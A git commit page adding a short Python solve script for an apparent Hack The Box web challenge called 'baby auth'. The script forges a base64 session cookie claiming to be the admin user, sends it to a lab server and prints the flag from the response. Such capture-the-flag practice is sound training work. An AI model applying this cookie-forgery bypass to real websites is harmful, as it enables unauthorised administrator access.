Added initial code.
This commit is contained in:
parent
5808d2f805
commit
1f7a9b0566
22 changed files with 309132 additions and 1 deletions
17
htb/challenges/web-baby-auth/solve.py
Normal file
17
htb/challenges/web-baby-auth/solve.py
Normal file
|
@ -0,0 +1,17 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
import requests
|
||||
|
||||
ip = '188.166.175.58' # change this
|
||||
port = '32249' # change this
|
||||
|
||||
cookies = { 'PHPSESSID': 'eyJ1c2VybmFtZSI6ImFkbWluIn0K' }
|
||||
data = { 'username': 'admin', 'password': 'admin' }
|
||||
|
||||
r = requests.get(f'http://{ip}:{port}/', data = data, cookies = cookies)
|
||||
|
||||
data = r.text
|
||||
data = data.split('<h1>')[-1]
|
||||
data = data.split('</h1>')[0]
|
||||
|
||||
print(data.strip())
|
Loading…
Add table
Add a link
Reference in a new issue